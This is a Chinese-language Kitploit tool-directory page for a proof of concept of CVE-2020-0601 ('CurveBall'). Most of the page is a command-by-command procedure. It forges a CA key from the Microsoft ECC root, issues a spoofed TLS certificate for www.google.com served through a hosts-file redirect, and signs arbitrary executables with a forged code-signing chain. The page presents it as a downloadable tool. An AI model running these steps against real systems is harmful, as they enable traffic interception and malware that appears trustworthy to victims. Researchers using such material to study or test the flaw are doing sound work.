Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-0601_PoC — CVE-2020-0601(又名 curveball)的演示。基于 https://github.com/kudelskisecurity/chainoffools 和 https://github.com/ly4k/CurveBall 上提供的 PoC | Kitploit
工具/GitHubGitHub/joelbts/cve-2020-0601_poc
漏洞分析代码分析漏洞利用Web安全密码学渗透测试
GitHubjoelbts/cve-2020-0601_poc

CVE-2020-0601_PoC

CVE-2020-0601(又名 curveball)的演示。基于 https://github.com/kudelskisecurity/chainoffools 和 https://github.com/ly4k/CurveBall 上提供的 PoC

查看仓库
262年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

基于 POC 的 https://github.com/ly4k/CurveBall

https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/

https://github.com/kudelskisecurity/chainoffools?tab=readme-ov-file


所需环境/使用的软件


python 版本 3.11 openssl 版本 3.1 osslsigncode 版本 2.5 gen-key.py 和 httpServer.py 中的 python 库


TLS 证书签名


从受信任的根证书创建伪造的 CA 密钥(必须是 secp384r1 且为 PEM 格式)

python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer

使用伪造的密钥创建伪造的 CA

openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca.cnf

创建另一个将由伪造 CA 签名的 SSL 证书(任意类型)

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

为证书创建证书签名请求

openssl req -new -key cert.key -out cert.csr -config openssl.cnf -reqexts v3_req

使用伪造的 CA 证书对 CSR 进行签名

openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl.cnf -extensions v3_req

使用伪造的证书链启动 HTTPS 服务器

python httpServer.py

在 WINDOWS 机器上

将 <kali.machine.ip> www.google.com 添加到 hosts 文件(将 google 重定向到服务器)

访问 HTTPS://www.google.com

证书应被信任,并且应显示 'Hello World'

如果出现错误,请检查系统时间是否正确


代码签名


从受信任的根证书创建伪造的 CA 密钥(必须是 secp384r1 且为 PEM 格式)

python gen-key.py MicrosoftECCProductRootCertificateAuthority.cer

使用伪造的密钥创建伪造的 CA

openssl req -new -x509 -key spoofed-ca-key.pem -out spoofed-ca.pem -config ca-cs.cnf

创建一个可用于代码签名的新密钥

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

使用该密钥创建一个证书签名请求,以便我们进行签名

openssl req -new -key cert.key -out cert.csr -config openssl-cs.cnf -reqexts v3_req

使用伪造的 CA 对 CSR 进行签名

openssl x509 -req -in cert.csr -CA spoofed-ca.pem -CAkey spoofed-ca-key.pem -CAcreateserial -out cert.crt -days 10000 -extfile openssl-cs.cnf -extensions v3_req

将密钥、证书和伪造的 CA 打包到一个 PKCS12 文件中,用于签署 exe 文件

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed-ca.pem -name "Code Signing" -out cert.p12

使用 PKCS12 文件对可执行文件进行签名

osslsigncode sign -pkcs12 cert.p12 -n "Signed by curveball" -in filename.exe -out filename_signed.exe

下载工具